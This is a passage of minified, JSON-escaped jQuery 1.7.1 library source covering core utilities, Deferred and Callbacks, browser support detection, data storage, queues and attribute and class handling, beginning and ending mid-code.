f.ready(a);a.selector!==b\u0026\u0026(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:\"\",jquery:\"1.7.1\",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a\u003c0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b===\"find\"?d.selector=this.selector+(this.selector?\" \":\"\")+c:b\u0026\u0026(d.selector=this.selector+\".\"+b+\"(\"+c+\")\");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),\"slice\",F.call(arguments).join(\",\"))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i==\"boolean\"\u0026\u0026(l=i,i=arguments[1]||{},j=2),typeof i!=\"object\"\u0026\u0026!e.isFunction(i)\u0026\u0026(i={}),k===j\u0026\u0026(i=this,--j);for(;j\u003ck;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l\u0026\u0026f\u0026\u0026(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d\u0026\u0026e.isArray(d)?d:[]):h=d\u0026\u0026e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b\u0026\u0026(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e\u0026\u0026(a.$=g),b\u0026\u0026a.jQuery===e\u0026\u0026(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0\u0026\u0026!--e.readyWait||a!==!0\u0026\u0026!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0\u0026\u0026--e.readyWait\u003e0)return;A.fireWith(c,[e]),e.fn.trigger\u0026\u0026e(c).trigger(\"ready\").off(\"ready\")}},bindReady:function(){if(!A){A=e.Callbacks(\"once memory\");if(c.readyState===\"complete\")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener(\"DOMContentLoaded\",B,!1),a.addEventListener(\"load\",e.ready,!1);else if(c.attachEvent){c.attachEvent(\"onreadystatechange\",B),a.attachEvent(\"onload\",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll\u0026\u0026b\u0026\u0026J()}}},isFunction:function(a){return e.type(a)===\"function\"},isArray:Array.isArray||function(a){return e.type(a)===\"array\"},isWindow:function(a){return a\u0026\u0026typeof a==\"object\"\u0026\u0026\"setInterval\"in a},isNumeric:function(a){return!isNaN(parseFloat(a))\u0026\u0026isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||\"object\"},isPlainObject:function(a){if(!a||e.type(a)!==\"object\"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor\u0026\u0026!D.call(a,\"constructor\")\u0026\u0026!D.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!=\"string\"||!b)return null;b=e.trim(b);if(a.JSON\u0026\u0026a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,\"@\").replace(p,\"]\").replace(q,\"\")))return(new Function(\"return \"+b))();e.error(\"Invalid JSON: \"+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,\"text/xml\")):(d=new ActiveXObject(\"Microsoft.XMLDOM\"),d.async=\"false\",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName(\"parsererror\").length)\u0026\u0026e.error(\"Invalid XML: \"+c);return d},noop:function(){},globalEval:function(b){b\u0026\u0026j.test(b)\u0026\u0026(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,\"ms-\").replace(v,x)},nodeName:function(a,b){return a.nodeName\u0026\u0026a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g\u003ch;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g\u003ch;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?\"\":G.call(a)}:function(a){return a==null?\"\":(a+\"\").replace(k,\"\").replace(l,\"\")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d===\"string\"||d===\"function\"||d===\"regexp\"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c\u003c0?Math.max(0,d+c):c:0;for(;c\u003cd;c++)if(c in b\u0026\u0026b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length==\"number\")for(var f=c.length;e\u003cf;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f\u003cg;f++)e=!!b(a[f],f),c!==e\u0026\u0026d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b\u0026\u0026typeof j==\"number\"\u0026\u0026(j\u003e0\u0026\u0026a[0]\u0026\u0026a[j-1]||j===0||e.isArray(a));if(k)for(;i\u003cj;i++)f=c(a[i],i,d),f!=null\u0026\u0026(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null\u0026\u0026(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c==\"string\"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h){var i=a.length;if(typeof c==\"object\"){for(var j in c)e.access(a,j,c[j],f,g,d);return a}if(d!==b){f=!h\u0026\u0026f\u0026\u0026e.isFunction(d);for(var k=0;k\u003ci;k++)g(a[k],c,f?d.call(a[k],k,g(a[k],c)):d,h);return a}return i?g(a[0],c):b},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf(\"compatible\")\u003c0\u0026\u0026u.exec(a)||[];return{browser:b[1]||\"\",version:b[2]||\"0\"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f\u0026\u0026f instanceof e\u0026\u0026!(f instanceof a)\u0026\u0026(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each(\"Boolean Number String Function Array Date RegExp Object\".split(\" \"),function(a,b){I[\"[object \"+b+\"]\"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser\u0026\u0026(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit\u0026\u0026(e.browser.safari=!0),j.test(\" \")\u0026\u0026(k=/^[\\s\\xA0]+/,l=/[\\s\\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener(\"DOMContentLoaded\",B,!1),e.ready()}:c.attachEvent\u0026\u0026(B=function(){c.readyState===\"complete\"\u0026\u0026(c.detachEvent(\"onreadystatechange\",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m=function(b){var d,e,g,h,i;for(d=0,e=b.length;d\u003ce;d++)g=b[d],h=f.type(g),h===\"array\"?m(g):h===\"function\"\u0026\u0026(!a.unique||!o.has(g))\u0026\u0026c.push(g)},n=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,l=j||0,j=0,k=c.length;for(;c\u0026\u0026l\u003ck;l++)if(c[l].apply(b,f)===!1\u0026\u0026a.stopOnFalse){e=!0;break}i=!1,c\u0026\u0026(a.once?e===!0?o.disable():c=[]:d\u0026\u0026d.length\u0026\u0026(e=d.shift(),o.fireWith(e[0],e[1])))},o={add:function(){if(c){var a=c.length;m(arguments),i?k=c.length:e\u0026\u0026e!==!0\u0026\u0026(j=a,n(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d\u003ce;d++)for(var f=0;f\u003cc.length;f++)if(b[d]===c[f]){i\u0026\u0026f\u003c=k\u0026\u0026(k--,f\u003c=l\u0026\u0026l--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b\u003cd;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)\u0026\u0026o.disable();return this},locked:function(){return!d},fireWith:function(b,c){d\u0026\u0026(i?a.once||d.push([b,c]):(!a.once||!e)\u0026\u0026n(b,c));return this},fire:function(){o.fireWith(this,arguments);return this},fired:function(){return!!e}};return o};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks(\"once memory\"),c=f.Callbacks(\"once memory\"),d=f.Callbacks(\"memory\"),e=\"pending\",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,\"resolve\"],fail:[b,\"reject\"],progress:[c,\"notify\"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g\u0026\u0026f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+\"With\"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+\"With\"]=g[j].fireWith;i.done(function(){e=\"resolved\"},c.disable,d.lock).fail(function(){e=\"rejected\"},b.disable,d.lock),a\u0026\u0026a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length\u003e1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length\u003e1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d\u003c=1\u0026\u0026a\u0026\u0026f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d\u003e1){for(;c\u003cd;c++)b[c]\u0026\u0026b[c].promise\u0026\u0026f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a\u0026\u0026j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p,q=c.createElement(\"div\"),r=c.documentElement;q.setAttribute(\"className\",\"t\"),q.innerHTML=\" \u003clink/\u003e\u003ctable\u003e\u003c/table\u003e\u003ca href='/a' style='top:1px;float:left;opacity:.55;'\u003ea\u003c/a\u003e\u003cinput type='checkbox'/\u003e\",d=q.getElementsByTagName(\"*\"),e=q.getElementsByTagName(\"a\")[0];if(!d||!d.length||!e)return{};g=c.createElement(\"select\"),h=g.appendChild(c.createElement(\"option\")),i=q.getElementsByTagName(\"input\")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName(\"tbody\").length,htmlSerialize:!!q.getElementsByTagName(\"link\").length,style:/top/.test(e.getAttribute(\"style\")),hrefNormalized:e.getAttribute(\"href\")===\"/a\",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value===\"on\",optSelected:h.selected,getSetAttribute:q.className!==\"t\",enctype:!!c.createElement(\"form\").enctype,html5Clone:c.createElement(\"nav\").cloneNode(!0).outerHTML!==\"\u003c:nav\u003e\u003c/:nav\u003e\",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener\u0026\u0026q.attachEvent\u0026\u0026q.fireEvent\u0026\u0026(q.attachEvent(\"onclick\",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent(\"onclick\")),i=c.createElement(\"input\"),i.value=\"t\",i.setAttribute(\"type\",\"radio\"),b.radioValue=i.value===\"t\",i.setAttribute(\"checked\",\"checked\"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML=\"\",a.getComputedStyle\u0026\u0026(j=c.createElement(\"div\"),j.style.width=\"0\",j.style.marginRight=\"0\",q.style.width=\"2px\",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n=\"on\"+o,p=n in q,p||(q.setAttribute(n,\"return;\"),p=typeof q[n]==\"function\"),b[o+\"Bubbles\"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName(\"body\")[0];!r||(j=1,k=\"position:absolute;top:0;left:0;width:1px;height:1px;margin:0;\",m=\"visibility:hidden;border:0;\",n=\"style='\"+k+\"border:5px solid #000;padding:0;'\",o=\"\u003cdiv \"+n+\"\u003e\u003cdiv\u003e\u003c/div\u003e\u003c/div\u003e\"+\"\u003ctable \"+n+\" cellpadding='0' cellspacing='0'\u003e\"+\"\u003ctr\u003e\u003ctd\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",a=c.createElement(\"div\"),a.style.cssText=m+\"width:0;height:0;position:static;top:0;margin-top:\"+j+\"px\",r.insertBefore(a,r.firstChild),q=c.createElement(\"div\"),a.appendChild(q),q.innerHTML=\"\u003ctable\u003e\u003ctr\u003e\u003ctd style='padding:0;border:0;display:none'\u003e\u003c/td\u003e\u003ctd\u003et\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",l=q.getElementsByTagName(\"td\"),p=l[0].offsetHeight===0,l[0].style.display=\"\",l[1].style.display=\"none\",b.reliableHiddenOffsets=p\u0026\u0026l[0].offsetHeight===0,q.innerHTML=\"\",q.style.width=q.style.paddingLeft=\"1px\",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!=\"undefined\"\u0026\u0026(q.style.display=\"inline\",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display=\"\",q.innerHTML=\"\u003cdiv style='width:4px;'\u003e\u003c/div\u003e\",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position=\"fixed\",e.style.top=\"20px\",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top=\"\",d.style.overflow=\"hidden\",d.style.position=\"relative\",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\\{.*\\}|\\[.*\\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:\"jQuery\"+(f.fn.jquery+Math.random()).replace(/\\D/g,\"\"),noData:{embed:!0,object:\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a\u0026\u0026!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c==\"string\",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]\u0026\u0026j,o=c===\"events\";if((!n||!m[n]||!o\u0026\u0026!e\u0026\u0026!m[n].data)\u0026\u0026k\u0026\u0026d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c==\"object\"||typeof c==\"function\")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b\u0026\u0026(h[f.camelCase(c)]=d);if(o\u0026\u0026!h[c])return g.events;k?(i=h[c],i==null\u0026\u0026(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(\" \")));for(e=0,g=b.length;e\u003cg;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i\u0026\u0026(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0\u0026\u0026a.getAttribute(\"classid\")===b}return!0}}),f.fn.extend({data:function(a,c){var d,e,g,h=null;if(typeof a==\"undefined\"){if(this.length){h=f.data(this[0]);if(this[0].nodeType===1\u0026\u0026!f._data(this[0],\"parsedAttrs\")){e=this[0].attributes;for(var i=0,j=e.length;i\u003cj;i++)g=e[i].name,g.indexOf(\"data-\")===0\u0026\u0026(g=f.camelCase(g.substring(5)),l(this[0],g,h[g]));f._data(this[0],\"parsedAttrs\",!0)}}return h}if(typeof a==\"object\")return this.each(function(){f.data(this,a)});d=a.split(\".\"),d[1]=d[1]?\".\"+d[1]:\"\";if(c===b){h=this.triggerHandler(\"getData\"+d[1]+\"!\",[d[0]]),h===b\u0026\u0026this.length\u0026\u0026(h=f.data(this[0],a),h=l(this[0],a,h));return h===b\u0026\u0026d[1]?this.data(d[0]):h}return this.each(function(){var b=f(this),e=[d[0],c];b.triggerHandler(\"setData\"+d[1]+\"!\",e),f.data(this,a,c),b.triggerHandler(\"changeData\"+d[1]+\"!\",e)})},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a\u0026\u0026(b=(b||\"fx\")+\"mark\",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0\u0026\u0026(c=b,b=a,a=!1);if(b){c=c||\"fx\";var d=c+\"mark\",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,\"mark\"))}},queue:function(a,b,c){var d;if(a){b=(b||\"fx\")+\"queue\",d=f._data(a,b),c\u0026\u0026(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||\"fx\";var c=f.queue(a,b),d=c.shift(),e={};d===\"inprogress\"\u0026\u0026(d=c.shift()),d\u0026\u0026(b===\"fx\"\u0026\u0026c.unshift(\"inprogress\"),f._data(a,b+\".run\",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+\"queue \"+b+\".run\",!0),n(a,b,\"queue\"))}}),f.fn.extend({queue:function(a,c){typeof a!=\"string\"\u0026\u0026(c=a,a=\"fx\");if(c===b)return f.queue(this[0],a);return this.each(function(){var b=f.queue(this,a,c);a===\"fx\"\u0026\u0026b[0]!==\"inprogress\"\u0026\u0026f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||\"fx\";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!=\"string\"\u0026\u0026(c=a,a=b),a=a||\"fx\";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+\"defer\",j=a+\"queue\",k=a+\"mark\",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))\u0026\u0026f.data(e[g],i,f.Callbacks(\"once memory\"),!0))h++,l.add(m);m();return d.promise()}});var o=/[\\n\\t\\r]/g,p=/\\s+/,q=/\\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,a,b,!0,f.attr)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,a,b,!0,f.prop)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"){b=a.split(p);for(c=0,d=this.length;c\u003cd;c++){e=this[c];if(e.nodeType===1)if(!e.className\u0026\u0026b.length===1)e.className=a;else{g=\" \"+e.className+\" \";for(h=0,i=b.length;h\u003ci;h++)~g.indexOf(\" \"+b[h]+\" \")||(g+=b[h]+\" \");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"||a===b){c=(a||\"\").split(p);for(d=0,e=this.length;d\u003ce;d++){g=this[d];if(g.nodeType===1\u0026\u0026g.className)if(a){h=(\" \"+g.className+\" \").replace(o,\" \");for(i=0,j=c.length;i\u003cj;i++)h=h.replace(\" \"+c[i]+\" \",\" \");g.className=f.trim(h)}else g.className=\"\"}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b==\"boolean\";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c===\"string\"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?\"addClass\":\"removeClass\"](e)}else if(c===\"undefined\"||c===\"boolean\")this.className\u0026\u0026f._data(this,\"__className__\",this.className),this.className=this.className||a===!1?\"\":f._data(this,\"__className__\")||\"\"})},hasClass:function(a){var b=\" \"+a+\" \",c=0,d=this.length;for(;c\u003cd;c++)if(this[c].nodeType===1\u0026\u0026(\" \"+this[c].className+\" \").replace(o,\" \").indexOf(b)\u003e-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h=\"\":typeof h==\"number\"?h+=\"\":f.isArray(h)\u0026\u0026(h=f.map(h,function(a){return a==null?\"\":a+\"\"})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!(\"set\"in c)||c.set(this,h,\"value\")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c\u0026\u0026\"get\"in c\u0026\u0026(d=c.get(g,\"value\"))!==b)return d;d=g.value;return typeof d==\"string\"?d.replace(q,\"\"):d==null?\"\":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type===\"select-one\";if(g\u003c0)return null;c=j?g:0,d=j?g+1:i.length;for(;c\u003cd;c++){e=i[c];if(e.selected\u0026\u0026(f.support.optDisabled?!e.disabled:e.getAttribute(\"disabled\")===null)\u0026\u0026(!e.parentNode.disabled||!f.nodeName(e.parentNode,\"optgroup\"))){b=f(e).val();if(j)return b;h.push(b)}}if(j\u0026\u0026!h.length\u0026\u0026i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find(\"option\").each(function(){this.selected=f.inArray(f(this).val(),c)\u003e=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a\u0026\u0026j!==3\u0026\u0026j!==8\u0026\u0026j!==2){if(e\u0026\u0026c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute==\"undefined\")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i\u0026\u0026(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h\u0026\u0026\"set\"in h\u0026\u0026i\u0026\u0026(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,\"\"+d);return d}if(h\u0026\u0026\"get\"in h\u0026\u0026i\u0026\u0026(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b\u0026\u0026a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h\u003cg;h++)e=d[h],e\u0026\u0026(c=f.propFix[e]||e,f.attr(a,e,\"\"),a.removeAttribute(v?e:c),u.test(e)\u0026\u0026c in a\u0026\u0026(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)\u0026\u0026a.parentNode)f.error(\"type property can't be changed\");else if(!f.support.radioValue\u0026\u0026b===\"radio\"\u0026\u0026f.nodeName(a,\"input\")){var c=a.value;a.setAttribute(\"type\",b),c\u0026\u0026(a.value=c);return b}}},value:{get:function(a,b){if(w\u0026\u0026f.nodeName(a,\"button\"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w\u0026\u0026f.nodeName(a,\"button\"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:\"tabIndex\",readonly:\"readOnly\",\"for\":\"htmlFor\",\"class\":\"className\",maxlength:\"maxLength\",cellspacing:\"cellSpacing\",cellpadding:\"cellPadding\",rowspan:\"rowSpan\",colspan:\"colSpan\",usemap:\"useMap\",frameborder:\"frameBorder\",contenteditable:\"contentEditable\"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a\u0026\u0026i!==3\u0026\u0026i!==8\u0026\u0026i!==2){h=i!==1||!f.isXMLDoc(a),h\u0026\u0026(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g\u0026\u0026\"set\"in g\u0026\u0026(e=g.set(a,d,c))!==b?e:a[c]=d:g\u0026\u0026\"get\"in g\u0026\u0026(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode(\"tabindex\");return c\u0026\u0026c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)\u0026\u0026a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!=\"boolean\"\u0026\u0026(d=a.getAttributeNode(c))\u0026\u0026d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a\u0026\u0026(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d\u0026\u0026(y[c]?d.nodeValue!==\"\":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+\"\"}},f.attrHooks.tabindex.set=w.set,f.each([\"width\",\"height\"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===\"\"){a.setAttribute(b,\"auto\");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===\"\"\u0026\u0026(b=\"false\"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each([\"href\",\"src\",\"width\",\"height\"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=\"\"+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b\u0026\u0026(b.selectedIndex,b.parentNode\u0026\u0026b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype=\"encoding\"),f.support.checkOn||f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]={get:function(a){return 